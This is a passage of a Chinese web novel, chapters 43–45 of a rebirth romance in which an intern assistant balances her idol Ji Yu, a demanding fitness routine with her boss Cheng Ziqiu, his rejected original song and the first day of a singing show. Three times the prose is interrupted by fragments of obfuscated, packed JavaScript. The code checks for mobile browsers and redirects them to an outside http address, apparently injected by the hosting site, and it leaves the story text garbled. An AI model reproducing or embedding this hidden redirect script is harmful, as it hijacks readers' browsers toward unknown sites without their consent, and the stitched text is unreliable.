没想到,纪屿面不改色、大言不惭、理直气壮地回答道:“是啊。林定又没说她住哪里。” “我靠!”要不是安全带拦着,顾蓝就要跳起来了,“合着你是在兜圈子?!我*¥%#……” “文明一些,顾蓝。”纪屿淡淡打断他。 林定这才想起,自己上车后确实没报地址……她赶紧报上自己和晓春租住的小区地址。 纪屿听到那路名,意味不明的冷哼了一声,语气里又带着点嘲讽:“你住的地方和那爵士酒吧,可真够近的。” 他刻意咬重了“近”字。林定羞愧的低下头……这下,纪屿知道了,上次林定谎称自己住得离酒吧很近…… 顾蓝皱眉,还以为他是说真的呢,接话道:“近个鬼啊!一个东一个西,差着可远诶。哥们儿你这认路水平是真感人,林定从那过来才半小时,好家伙,你这都兜了快半小时了,还在这边……” 林定赶紧看了眼手机时间,小声哀叹:“天啊……已经一点了……” 更致命的是,她才想起明天的行程,绝望地自言自语道:“苍天啊,距离我起床只剩五个小时了,差点忘了明天一大早还要陪成子秋健身……” 那名字的出现,让气氛本就微妙的车厢变得更加难以描述。 偏偏那钝感力十足的顾蓝毫无所觉,甚至他还拔高了声音,用难以置信的音调惊叹道:“哇塞,你还陪他健身呢?你俩关系竟已经好到这种地步了吗!” “……是打工人被迫加班的苦命罢了……”林定有气无力地回道,殊不知驾驶座方向的气压已然极速下降。 她甚至开始怀疑,自己晚上来时,那辆出租车是不是绕了远路。因为在她回答完顾蓝那句话后,驾驶座上那位不再说话的纪师傅,像是被车神附体一样,只用了不到十分钟,就将车停在了她们租住的小区路口。 “到了。”纪屿冷淡的吐出两个字,随即响起了车门锁开锁的“咔嗒”声。 林定:“……” 她感觉……这有点像逐客令…… 恍惚间还有些错觉,如果自己再不下车,那边可能会冒出滚这一字…… 不过,纪屿怎么可能会说这种话啦,她的偶像是这么的文明又礼貌。 她提着两袋烧烤,匆匆下车,门刚关上,顾蓝才把车窗摇下来,而她还没来得及说谢谢,这辆黑色的车子已汇入车流,迅速消失在林定的视角里。 “……开这么快吗。”她嘀咕道,揉了揉有些发困的眼睛。不过,心情好转多了,毕竟,她挂心的人总算是见了一面,并且知道他安好。 回到家,门才打开,客厅的灯就亮了起来。晓春穿着睡衣,从卧室里跑出来,兴奋道:“哇什么味道……好香!是烧烤!林小定!!你半夜偷偷跑出去吃烧烤不叫我!!!!” 林定把两大袋烧烤往餐桌上一放,晓春惊讶又欣喜。“那我不客气啦!”晓春立刻坐下开炫。 看着晓春吃的津津有味,林定心中生出了一点点恶作剧的想法。她等晓春吃点差不多了后,便故意拖长了调子,笑道:“都是你偶像买单的,我够意思吧,给你打包回来了。” “什么?!顾蓝?!”晓春的瞬间打起精神,眼睛里是难以置信。她低头看向被自己吃成一片狼藉的夜宵,她发出了一声抽气,随即是痛苦的哀嚎:“啊——!林定!!你为什么!!不早说!!我都没摆盘!!没拍照!!没和烧烤合影!!我就穿成这个样子……”她指了指自己的睡衣,“简直就是对不起我偶像买的烧烤……” 她嘴上痛心疾首地喊道,可手上却又抓起剩下的一串烤豆腐塞进嘴中,含糊不清地继续说道,“完啦,我乃一介凡人,会不会因为承受了偶像的宵夜而连夜跑厕所呢……”林定无语地看了她一眼,晓春又继续感慨:“虽然但是,真的太好吃了吧,真不愧是我偶像买的!” 林定忍不住笑出了声,“我困死了,去洗澡了,你慢慢吃。” “对了,”晓春擦擦嘴,忽然想起什么,“星期六智昊要从G市过来看我,我们打算跟他去吃上次我俩经过过的那家很火的餐厅,你要不要一起?我让他请客!” 林定脸上的笑容收了一些。跟晓春来B市实习,她差点都要忘了晓春的那段孽缘了。尽管分隔异地,两人还是保持着联系……林定可不想见那郑智昊,更不想当电灯泡。 “不了不了,”她摆摆手,“你们小情侣久别重逢,我去干啥捏。而且我这助理岗没有周末……还有一个多星期综艺就要正式开录了,我这边一堆破事,还要抽空去考车,现在又被强制加了清晨健身的任务……能活着就不错了。” “真的是……”晓春同情地看着她,“你真要每天那么早去啊?也太惨了吧。” “谁让我是卑微打工人呢?”上下两辈子都逃不过打工……林定打了个哈欠,走进卧室拿了睡衣和毛巾出来,“不说了,我要抓紧洗澡睡觉了……该死的成子秋……该死的老板……啊啊啊啊啊…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16994686|187627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 等她洗完澡出来,晓春已经收拾好了餐桌,还贴心地把吹风机递给了她,“对了,你新买的那几套运动装,我帮你丢洗衣机洗了,还晾阳台了,明早你起来的时候应该能干。” “真的?你真是个大好人啊我的好春春!”林定感动地扑过去抱她。 晓春灵活地躲开,幽幽道:“不过,小票我扔垃圾桶了,我顺手……我想捡起来给你来着,但是刚刚烧烤的油都把小票淹没了……” 晓春在林定回过神来前,溜回了房间,并关上了门。“晚安我的宝!”门后传来她笑嘻嘻的声音。 林定的表情裂开:“扔了?我要报销的啊姐姐!” 她对着紧闭的房门欲哭无泪。 上班本来就很惨了,还要自费上班……倒贴上班…… “叮——”微信的提示声响起,林定拿起手机,看到信息后微微愣住。 纪屿: “刚才在车上,不方便回答,牵扯太多。” “我在个人发展上,和经纪人意见不合,起了一些争执。” “我都会处理好,不用担心。” “早点休息。” 纪屿是在和她解释?她本以为他又生气了…… 她眼眶一酸,不争气地吸了吸鼻子,手指颤抖着打字回道: “嗯嗯。。” “你记得擦药。。” * 在地库停车的纪屿,手机频幕泛起光来,照亮了他的黑暗。 定定: “晚安。” 晚安。 * 第二日清晨,林定顶着两个黑眼圈,穿着已经晒干的新运动套装,准时站在了健身房的门口。 成子秋比她还早到。他穿着一身深灰色的训练服,显得身形修长,此刻正对着健身房的落地镜做着热身。素颜的他还是一如既往地好看,与林定一脸憔悴形成鲜明对比。 “成老师,早上好。”林定尽力提起精神,跟他打招呼。 成子秋闻声转过头,目光在她身上扫了一圈,落回她生无可恋的脸上。他浅浅一笑:“早。” 林定虽然很困很累,但想起这一身行头的钱,就鼓起勇气,笑嘻嘻地开口道:“那个……老师,商量个事儿呗?” 成子秋恍惚了一瞬。 他好像从未在林定脸上见到过这样的表情。 他的助理,一直展现给他的都是绝好的工作能力,从来都是礼貌却不逾矩。 “你说。”他轻声回应。 “你看我这身衣服,完全是为了配合老师你的健身大业嘛,属于必要的工作装备……能不能,申请报销呢?” 她心想,不能和钱过不去,能回血一点是一点嘛。 成子秋没料到她会提这个,看了她两秒,嘴角轻轻勾了勾,像是在笑。 “报销?”他缓缓道,“这不合规定……公司报不了。” 见林定面露苦色,他又开口:“但我可以个人给你报。就当是,抵过我亲自带你健身的私教费用了。”他抬眼,看向她,下巴朝健身房侧面那台看起来就很高级的体测仪微微一扬,“你现在,先去上面站一下吧。” “哈?!”林定大惊失色,困意转瞬即逝。重生以来,她忙着学习、写作、囤货、爆金币……健身这件事早已是上辈子的事了,加上暑假和晓春一直胡吃海喝……她能想象到那台体测仪会给到多么惨不忍睹的数据了。 “成老师,我真不用了……我又不靠脸和身材吃饭,就是个小小助理,健康活着就行了……” 她试图推脱,声音有些哀求的意味。 成子秋却不为所动,甚至挑起了一边眉毛:“需要一组初始数据做对比。不然,我怎么知道我教的方法有没有成效?你说对吗,我的小小助理。” “……”林定哑口无言,在成子秋平静无波的注视下,她视死如归地站到了体测仪上。 片刻后,随着机器提示声响起,一张详细的体测报告从旁边的打印机中缓缓出来。 成子秋靠着腿长优势,先她一步取下了报告纸。 林定跳下仪器,想凑过去想看,奈何成子秋太高,也举得太高。 成子秋快速扫过纸上的各项身体数据,体重、体脂率、骨骼肌……他看得很快,但林定看到了,他那张漂亮脸蛋上,眉心微皱,随即,脸上浮现出难以言喻的复杂神情。 那是一种,任重而道远的…… 林定知道,那数值一定不太可观。 在身材管理严格的明星眼里,她大概和废柴没有区别吧…… 成子秋他晃了晃手中的报告纸,再次看向她。 “看来,我们确实需要一套完善的定制计划。”他沉思道,“从今天开始,除了每天跟我一起训练,你的三餐也需要拍照发给我。” 他顿了一下,又补充道:“过来,热身。” 林定感到眼前一黑,仿佛看到了奶茶火锅烧烤们在和她挥手告别。 43.43 对家也很厉害 每日雷打不动的健身特训,让林定本就牛马的实习生活,雪上加霜,苦上加苦。 最让她无语的是,经纪人那所谓的“看着成子秋别让他受伤”,根本就是搞笑的吧!几天下来,她发现成子秋哪里是什么需要照看看护的人呢?他根本就是个健身理论知识稳打稳扎、动作标准到可以去考教练证的高手好吗?!哪个位置该怎么发力,哪个姿势不当容易受伤,他比林定这个前世混过一段时间健身房的人都清楚百倍千倍。每一天,都是他在纠正林定的错误姿势,给林定加重量……是了,那健身房里的私教都不怎么说话,林定觉着这家伙比教练还专业。 “核心收紧,你要沉肩,不然你的斜方肌会越来越大。” “膝盖方向和脚尖方向要一致,别忘了,这个很重要。” “呼吸,你要呼吸,不要憋着。” 林定从最初的面露尴尬,到后来的麻木无感,只用了三天时间。她算是知道了,这健身的本质大概就是老板亲自监督加班,还是体力性质的加班。 更让她发自内心佩服的是,艺人的非常人体质……成子秋每天完成健身训练后,还能神清气爽地投入数小时的综艺歌唱练习,脸上看不出一丝丝疲惫,似乎那些运动消耗是为了给他补充能量的。 莫非,这就是高精力人群……? 反观林定自己,在经历了魔鬼练腿日后,第二天早上,她是真的差点爬不起来床。那训练的位置又酸又胀,每走一步,都觉得自己像小美人鱼上岸后…… 她就这样挪步走去成子秋的声乐练习室。今天是他和公司声乐团队,最终敲定综艺曲目方向的重要会议。 推开门,几个人闻声回头——两位声乐老师,成子秋的经纪人,以及坐在琴前的成子秋本人。成子秋穿着一件基础款白色衬衫,看到是她,轻微地点了下头,目光示意那靠近墙的椅子,便又将视线转回去声乐团队那边。 林定尽量不发出声音,走到角落那边坐下,揉了揉腿上的肌肉。 他们的讨论继续。其中一位声乐老师正拿着电脑,给成子秋展示几首曲目,并认真地讲述选择这几首歌的理由。这些曲子,都是近年传唱度很高的情歌,被大众熟知,符合大多数人对成子秋这种漂亮帅哥形象的心里预期,安全稳妥,也不容易出错。 “这几首歌挺好的,容易引起观众的共鸣,和你的音色也是适配的,也不需要太高的歌唱技巧,选这些能够稳定发挥。” 成子秋的视线落在屏幕上,脸上看不出什么表情,只是偶尔点点头。气氛看似十分和谐,好像这个方案就要被全员同意并通过。 可是,当声乐老师说完话,室内出现了短暂的安静之时,成子秋抬起了头。他犹豫了一下,声音比平时更轻了些,却有一种平日里没有的语调: “其实,我自己准备了一首原创的曲子。如果可以的话,我想,也许有机会在这个节目里唱一下自己的歌。” 经纪人的眉头立刻皱了一下,但声乐老师却饶有兴致地点了点头:“哇哦?原创哦?可以啊,听听看。” 经纪人的表情莫测,但没有说话。 成子秋礼貌的对他们笑了笑后,指尖在琴键上开始弹奏。 只听了前奏,林定就愣住了。 这旋律……也太耳熟了吧。 这不是前世成子秋综艺夺冠后,顺势推出的那一首爆款单曲《醉雨雪》吗? 这首歌极具个人特色,歌词也细腻有温度,曾一度血洗了各大音乐榜单,也成为无数成子秋粉丝的入坑神曲。 可是,节目还没开始录制呢,这首歌竟然就已经诞生了? 她不由自主地身体前倾,忘了腿酸,目光落在钢琴前的少年身上。 成子秋微闭着眼,动情歌唱。当他沉浸于音乐时,十分专注,他的声音清澈如水潭,技巧巧妙的穿插在歌曲之中,却不似一些歌手那样过分炫技,将歌曲里那种微妙的情意与慌乱演绎得传神。这个人唱歌的时候十分有魅力,眉眼之间是万分情动,凸显得自身美貌更加绚烂夺目。 林定必须承认,她前世因为全心维护纪屿,对这位对家充满了偏见,连他的歌都带着抵触的情绪去听,从未真正静下心来欣赏。 此刻,短暂地剥离了滤镜和立场,她第一次如此直观地感受到成子秋作为歌手的魅力与才华。 这首歌,真的很好。以他的能力,在舞台上也绝对有资格发光。眼前这个人,无论前世还是今生,都的的确确具备了成为纪屿对手的实力。 然而,这打动人心的演唱,却被一声极不礼貌的粗暴拍打声打断了。 “停,停停停停!”经纪人用力拍了几下桌面。 成子秋的手指还悬在琴键上,歌声戛然而止。他错愕地抬起头,看向经纪人,眼里还残留着刚才的歌曲情绪,此刻显得有些茫然。 “我之前就和你说过了,你就不是搞创作的料!”经纪人的语速又快又冲,一点不客气,“一点不稳当,你这是竞技综艺!你是要夺冠的!就按声乐老师给你选的歌来老实唱,整个节目期间都别给我整这些行不行?老板也说了,绝对不允许你出差错的!算我求你了!” 他嘴上说着“求”,语气却全是无情的命令与极度不耐烦,“搞这些有的没的,真是浪费时间!而且你自己听听,这能好听吗?歌词也真够矫情的,观众能买账?别搞笑了!” 刺耳的否定像甩巴掌一样甩在成子秋脸上。旁边两位声乐老师,方才眼中闪过的欣赏早已消失地无踪,脸上此刻都是尴尬和犹豫的神情,欲言又止,似乎想说什么,但目光触到经纪人的脸色,还是选择了不反驳。毕竟,这大概是欣喜娱乐老板的意思,他们也不好违逆。 其中一位声乐老师,顺着经纪人的话,微微叹了口气后,却这样补充道:“是啊,子秋,有创作想法是好事,但综艺是积累名气的嘛,还是稳妥重要些。我们选的歌单都是经过市场分析的,非常适合你的嗓音和现阶段的人设形象。” 林定一个小卡拉米自然是大气不敢出,她这是在大瓜的现场吗?真是完全没想到成子秋也会被经纪人如此对待!这首未来会大红的歌,在经纪人耳朵里,竟然不好听?还骂他浪费时间? 这些声乐老师,明明也听出了些什么,却为了不得罪上层,都选择了附和或是沉默。 她有些期待成子秋的反驳了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“……谢谢你。”他的声音很好听,也很真诚。但随即,他像是想起了什么,直视林定,那眼神不再是往日的平淡,而是带着探究和困惑。 “林定,”他叫她的名字,声音很温和,却让林定莫名其妙地心头一跳,“你刚才,为什么用那种眼神看我?” 林定吓一跳,哪种眼神?她真没意识到自己露出了什么表情。“啊?我……我怎么看了?”她有些心虚。 成子秋没有移开视线,只是静静等着她的回答。 在他的注视下,林定有些无措,她思考了一下,小声道:“额……我就是觉得,你那首《醉雨雪》明明很好听啊,他们……那么说,有点太可惜了。你其实,是不是可以试着再坚持一下呢?毕竟他们都还没有听完你唱完整首……” 说完,她立刻意识到自己失言了,有些抱歉地补充道,“对不起,我只是个小助理,不该多嘴的,你可以当我没说。” 成子秋脸上的平静被她的话语打破了,他失神地重复道:“你说,醉雨雪……?” 他目光复杂地看向林定,声音轻而疑惑: “这首歌……我明明还没有起名字。” 44.44 录制首日 “这首歌……我明明还没有起名字。” 成子秋看着林定,那双漂亮的眼眸里,此刻映出了她的错愕,以及慌乱。 林定呆住了。大脑飞速运转后,只想给自己来一拳清醒清醒。真该死啊!她怎么就这么管不住嘴把未来他那歌名给说出来了?!这又要怎么圆回来…… “我呢……我是听到里面的词了啊,”她急中生智,笑着说道,声音有点紧张,“你的歌词里面,那意境,还有高潮部分的歌词,我……我一下子就默认是这个歌名了,顺口就说出来了。对不起成老师,是我乱说话了。” 成子秋安静地听着她的解释,眼神里疑惑慢慢淡去了,像是接受了她这个听起来还有点合理的说辞。他点了下头,没有在歌名上继续纠缠下去了。 可他却没放过之前的问题。“林定,”他专注地看着林定的脸:“我怀疑你在忽悠我,”他的语气比起往日的稳定,显得有些急躁,“你用那种眼神看我,不止一次了。面试的时候,还有……更早之前。” “我……?”林定语塞。 面试时?她当时满心满眼都是打入纪屿对手公司的算计,哪还会记得自己用什么眼神看成子秋呢?至于……更早之前?他指的是两年前婚礼上?不可能啊,他怎么可能记住她这样一个普通的宾客,况且,她应该也没怎么看他吧? 想不起来一点。 她眼神里流露出困惑,“成老师,你可能误会我了。”她微微一顿,“还有很久之前……是什么时候?我们是我入职后才相互认识的呀,您之前也不认识我的。” 成子秋看着她努力回忆思考的表情,心底那点微弱的期待,悄悄地熄灭了。 她不记得我? 成子秋的记忆翻涌上来。 两年前,某个亲戚的婚礼上。热闹的宴席间,他像个商品一样和表里不一、不相熟的亲戚们寒暄。席间他无比烦躁,来这里赴宴本就不合他意,出门在外还要永远保持微笑,尽管他心里已经烦躁地不行。 那些千篇一律的寒暄闷得他透不过气来,他只觉无趣,想早些结束这样的宴会。忽然间,他感受到一阵强烈的目光,他微微侧目,目之所及处,是一个穿着浅蓝色连衣裙的女孩子。她看上去还是在读高中的样子,外表青春活力,可眼神却不似同龄人,仿佛经历过许多,而她的目光像是看透了他此刻的伪装,觉得他虚伪、可悲。 他微微皱起眉。那女孩看他的眼神,与宴会上的其他人不一样。 成子秋被她看得有些不自在了,他扭头问向正来找他搭话的宾客之一,一问才知晓,那是男方家亲戚带来的孩子,正在读高中。 他缓了口气,心想是他看错了,一个高中生,怎会与他有交集,还用那种眼神看他。在他刚想忘记这个小插曲之时,没想到那个女孩竟然和另一个比她高一些的女生一起走了过来。 所以,她也是和那些人一样,来围观他这个所谓的小明星? 没有不一样。 可他又想错了。那个蓝色裙子的女孩根本就不屑于与他搭话,眼神里满满地不耐烦。 * 他也不知,自己为何会记住这个人,也从来没想过他们未来能再一次有交集。 前段时间,在那家超市的收货通道里,他被私生围堵,无奈下走进死路,却有一个小小的背影挡在了他跟前。 他感到十分熟悉。 可谁能想到,这个人没多久后又再次出现在了他的眼前,而这一次,她竟是来欣喜娱乐应聘的实习生。 那一刻,两年前的记忆彻底被唤醒。 他以为,至少她会有一点印象吧。 可现在看来,婚宴那日人家并没有把他记在心上,更谈不上忘记他。 而他,却莫名地想和她认识起来,甚至在面试时,他斗胆给经纪人说觉得这个助理不错。 今天,他这首被所有人否定的歌曲,只有她,给到了唯一的认可。 她是第一个,肯定他创作本身的人。 而不是肯定公司包装下的成子秋。 这种肯定,于他而言,陌生却又万分珍贵。 就像是给他黑暗的星途点上了一盏灯。 * 窗外的光线透过百叶窗,在她的脸上投下柔和的阴影。 “没事了。”成子秋轻轻地说,垂下了眼眸,掩去其中的自嘲和失落。 这些记忆,他还是藏在心里比较好。对方早已忘却,此时他在提起,不过是徒增尴尬,或许还会让她觉得很困扰。 若是造成困扰…… 他觉得自己好像特别小心翼翼,生怕哪句话说得不对,就把这个让他捉摸不透的实习生给……吓跑了? 这个念头浮现的瞬间,成子秋自己都怔了一下。 别人找助理,都是助理战战兢兢的,生怕惹毛了明星丢了饭碗。怎么到他这儿,感觉有点……反过来了? 他竟在担心自己会失去这个才来了没多久的实习助理?担心失去她的……陪伴?还是认可? 意识到这些陌生的念头,成子秋感到脑袋有些发昏。他向来已经认命,习惯被公司安排,被决定,情绪和需求都吞进肚子里,被包装在成子秋的人设里,而此刻内心涌动的在意,对他而言,既新鲜,又让他有一些害怕。 “那老师,我也出去啦?”林定小声问道。 他别开脸,不再看林定,手指无意识地摸着冰凉的琴键,试图平复心情。 “嗯。谢谢你的认可,你说的,我会好好想想的。”他低声道,语气恢复了平静,他瞥了一眼林定揉着酸痛的肌肉,嘴角起了一抹笑,“健身计划明天也要继续的,记得准时来。” 他没有再追问眼神的事,也没有再提及过往。 有些事,他需要时间自己慢慢理清。 比如,他对她的感觉。 比如……她与那个新人纪屿之间,明显是认识的,那氛围太不寻常了,他们又是什么关系。 他都会搞清楚的。 * 接下来的日子,林定忙炸了,成子秋的那些话都被她抛在了脑后。 综艺正式录制在即,作为助理,她要协调对接的事项如乱麻……她仿佛又回到了前世那个连轴转的996日常,她在心里祈祷自己千万不要在这里猝死,偶像还没来得及拯救呢! 终于,到了录制首日。 天色未亮,团队便已出发前往位于城郊的大型摄影棚。因为今天的行程紧凑,成子秋难得地放弃了晨间的健身,让林定得以增加了半小时的睡眠,这让她心情好了不少。更让她心跳加速的,是即将到来的场景。 她将亲眼见证纪屿,真正意义上的第一个个人演唱舞台首秀。 想到这里,她在车上没忍住痴痴笑出了声,惹得车里的工作人员和成子秋都看向她。 摄影棚规模很大,工作人员步履匆匆,各种设备线交错在一起,对讲机里传来指令声,空气中弥漫着令人兴奋又紧张的气息。林定紧跟着成子秋和经纪人,穿过人群,来到了主舞台区域附近的候场休息区。 刚一站定,她的目光便被不远处汇聚的闪亮吸引。 是导师们到了。 林定前世并未认真追过这档综艺,对具体导师印象模糊,只知道夺冠者是谁,此刻只是带着旁观者的心态看去。亲眼看到了导师阵容,她差些惊掉了下巴。 前面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17017669|187627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四位都是乐坛重量级的歌手!他们有资历、有实力、有地位,言谈举止间,自带气场。然而,当第五位导师的身影出现时,林定的眼睛微微睁大了。 是孟泳书。 是那位近年来凭借绝佳唱功和可爱外貌成名的新生代小天后!她真人比镜头里更好看,长发大波浪,笑容甜美,瞬间吸引了在场许多工作人员的目光。 林定心下打起了小算盘——孟泳书!前段时间卖了那些唱片果然不是最佳时期!亏死,早知道应该等节目播出了再卖的!节目肯定又能提升一波人气!她仔细想想,自己好像还留存有一点点孟泳书的唱片,看来未来要找准综艺爆点的时候再出手了,到时候又能小赚一笔……这位漂亮的女明星,在她眼中简直就是她的摇钱树。 今天的成子秋,是经过公司精心打造过的。妆容柔和,完美凸显了他五官的精致,发型蓬松有型,一身剪裁合体的简约黑色西装,却恰到好处地衬托出他的少年气,以及惹人怜爱的破碎美感。他安静地站在经纪人侧后方,面带微笑。 经纪人领着成子秋上前,与几位导师寒暄。那经纪人在这个圈子里打拼了多年,带出过不少有名有姓的艺人,地位还是有些的,因此,几位前辈导师也对他挺客气的,顺势对成子秋也给到了鼓励的点头微笑,气氛融洽。 林定跟在几步之外,看着赛前社交的一幕,心里忍不住小声蛐蛐:哇塞,还没开始录制呢,就攀上关系了?比赛还没开始呢,这人情就开始卖了?想到自家那个单枪匹马来参赛的纪屿,顿觉难受,他在起点上似乎就落后了…… 这个念头刚升起,入口处黑暗的通道,似乎被一道自身携带的光芒点亮。 一个身影不疾不徐地走了进来。 没有助理经纪人簇拥,他只是一个人,穿着简单的黑色西装,身姿挺拔,步伐稳定。摄影棚顶无数的灯洒下的光,好像偏爱他一般,在他轮廓分明的脸庞上,流淌汇聚成星。专业的舞台妆造进一步强化了他五官的立体,他并不张扬,甚至没有什么表情,只是那样平静地走来,却像一块吸铁石,吸引了全场人的目光。 给许多人一种错觉,觉得他仿佛天生就该站在这样的光下。 那是纪屿。 那可是林定的星星,他天生属于舞台。 林定看得痴了,先前的担忧瞬间消失殆尽。这本就是她的偶像,他不需要那些所谓的起点铺垫,他本身,就站在最耀眼的起点! 几位导师停下了交谈,目光朝纪屿投去。 正在接受导师鼓励的成子秋也微微侧首,向来平静的眼中起了波澜,似乎没料到这位新人,在舞台灯光下竟能有如此的星味。 孟泳书原本正在和她的助理对话,此刻动作也停下,一双眼眸毫不掩饰地追随着纪屿的身影,从最初的惊讶,转为欣赏与感兴趣的光。她偏了偏头,唇角上扬。 纪屿的视线却有自己的轨道。他的目光穿越人群,掠过一张张面孔,最终落在了那个身影上。 两人的目光,在空中交汇。 隔着一段距离,隔着流动的人群,隔着此刻不同的身份和难言的心绪。 在这一瞬间,林定觉得耳边所有的嘈杂声音都远去了。她望着那个无比夺目,与前世记忆中那个闪耀的身影渐渐重合的纪屿,她感到有热泪想冲上眼眶,心中也澎湃万分。 她无声地,在心里,对着那个人,许下誓言: 纪屿,这个舞台,本就属于你。 无论前路有多少荆棘阻拦,有多少不公打压,这一世,我会尽我所能,也定会护你周全,重新将你,送回那顶流之巅。 誓言无声。 隔着人海,纪屿对她缓缓勾起唇角。 45.45 偶像首唱 节目录制正式开始了。 灯光聚焦在舞台的正中央,五位导师按序表演了自己的知名曲,开场燃炸舞台。他们表演结束后,坐上了评审席,表情专注地等待着参赛者们按照抽签的顺序登台。 每人只有一首歌的时间,向导师和观众证明自己。 林定站在舞台右侧方的阴影之中,手中紧紧握着成子秋的保温杯和备用耳返,目光不受控制地追随着候场区的那道身影。 耳边响起了参赛者们曼妙的歌声,有熟悉的音色,也有未听过的嗓音。台下是热烈的掌声欢呼声,都是大众评审来支持他们心中的歌手的。在林定那微博的呼喊下,那几个纪屿粉丝群,也有不少人来到了现场。 尽管台下欢呼声强烈,导师们的评价依旧不留情面,三分鼓励,七分打击,似乎没有人得到特别高的评价。 “马上要到子秋了,你快给他全方位检查一下!”经纪人催促林定。 她点点头,火速检查成子秋的妆容、耳返等情况,手指触碰到成子秋耳朵的时候,他微微一顿。“老师,万事俱备,可以上场了。”她垂下手,对成子秋道。 成子秋定定地看了她一眼,轻轻点头。 成子秋登台时,台下的热度明显暴涨,与先前几位小糊咖不同,成子秋已小有名气,台下都有不少铁粉为他举着橙色的灯牌应援了。他身后有完整的乐队和和声团队,还有一小段预先录制的、找专人加工过的VCR介绍。 “导师们好,我是成子秋。我来到这个舞台,是为了我的音乐梦想。” 孟泳书:“你好成子秋~请开始你的演唱吧!” 音乐响起。他唱的是一首经典情歌的改编版本。制作十分精良,编曲也美丽,这改编很适合他清澈温柔的嗓音。 林定站在台下,也给他鼓起了掌。不得不承认,舞台上的成子秋确实是耀眼夺目的。 成子秋的舞台表现,基本上无可挑剔。他的每一个眼神,每一处气息处理,都恰到好处,因为这些都是公司为他精心定制的,他早已反复排练无数遍。他的美貌在灯光下显得格外精致,演唱的时候,他的神情亦是深情,俘获了观众的心。 现场许多女孩子的表情都十分沉醉。 表演结束,掌声热烈。 导师们的点评,比前面的选手都好。 “子秋啊,你的表演非常成功,无论是唱功还是舞台表现,都符合我们综艺的主旨,S+演唱会!专业!。” “你的声音条件很好啊,这首歌也很适合你,将你的优势都凸显出来了。” “但我有点好奇哦,这首歌也算是老歌了,你怎么会选这首歌呢?”孟泳书对他笑道。 这个问题让成子秋愣了一下。 他沉默了几秒,然后露出了微笑:“我觉得这首歌很适合我,是初舞台最好的选择,我很满意今天的表演。” 台下的经纪人满意地点了点头。 林定却从成子秋那短暂的迟疑里,看到了他的无奈。想起几天前在练习室,他弹唱那首《醉雨雪》时的样子。 和现在不一样。 此刻舞台上的他,完美却像隔着层玻璃。 成子秋回到了台下,林定把保温杯递给他,他只是沉默的接过。 如果让你自己做选择,你会想唱什么样的歌? 林定很想这么问,但他大概不会回答的。 “成老师,你要去选手区那坐……” “知道了,你就在这坐着看吧,别一直站着。在他们唱完之前,应该没什么事了。”成子秋对她说,指了指这边的椅子后,就往前走了。 * “接下来,有请参赛者——纪屿。” 主持人的声音在这里回荡。 林定呼吸骤停。 她想起前世,那些加班到深夜的日子,的士在夜晚空荡的路上开着,窗外是灯火朦胧,唯有耳机里纪屿的声音清晰温暖。 他的歌,曾是她生活里唯一的光,是在她脆弱时刻支撑她的力量。 她从未想过,有一天,能亲眼见证他拥有个人舞台。 舞台灯光暗了暗,只剩一束光打在舞台的正中央。 纪屿从黑暗中走进了光亮里。他的身后没有声乐团队,没有什么精心包装的VCR,也没有华丽的出场动作,他只是缓缓走到立麦前,自己调整麦克风高度,然后向乐队老师的方向微微点头示意。 前奏响起时,林定的眼眶瞬间红透。 这是他的原创成名作。 “我们相遇在彼此的至暗时分……” 纪屿的声音,在现场演唱会级别的音响下呈现出绝佳的质感。他一开口,一位以严格挑刺著称的导师坐直了身体。 林定怔怔地望着舞台。 恍惚间,她仿佛又回到了前世。凌晨两点,她刚结束一个紧急任务,还被领导骂了一通,催她准备第二天的开会的材料。绝望淹没了她,她趴在桌上,哭了出来,还好有两面显显示器的遮挡,办公室的人才没看到她狼狈的模样。 然后她抽出纸巾胡乱的擦拭眼泪,吸了吸鼻子,戴上耳机,按下了手机音乐的播放键。 “——能不能请你凑近听听,这是我写的歌,只关于我和你……” 耳机里传来纪屿的声音。这首歌是他发布的第一首原创歌曲,有些稚嫩,却情感细腻,极具生命力。 就是那个真挚的声音,在那个深夜里救了她。 也拯救了她无数个时刻。 在最后那场林定没有看到的演唱会上,他甚至还改编了这首歌,让他这首旧曲子上了一个阶梯,更加动人。 这一刻,舞台上的人,与耳机里的声音彻底重叠。 没有想到,他唱的竟然就是那个新的改编版本。 怎么会…… 灯光打在他身上,他就是那颗闪耀的星星。 导师席上,孟泳书已经忘记了自己今天是来当评委的,单手捂住了嘴,眼睛里面写满了惊艳和欣赏。 而林定,她感觉到自己的眼眶热了起来。 * 前世得知纪屿死讯时,世界崩塌的痛苦,此刻变得不再真实。 眼前那个闪亮的人,才是最真实的。 他就站在光里,用他的歌声宣告他的存在。 他没有倒下,没有消失,他还好好的,他还在好好的发光发亮。 眼泪滑落,林定根本没有意识到自己在哭。她只是认真地望着舞台,任由泪水模糊了视野。 她不知道的是,在间奏的时候,纪屿的目光,刚好扫向了她的位置。 然后他愣住了。 定定她哭了。 为什么哭? 纪屿感到自己的心跳好像漏了一拍。他见过粉丝为他的歌曲落泪,但林定此刻的眼神和他们似乎不太一样。 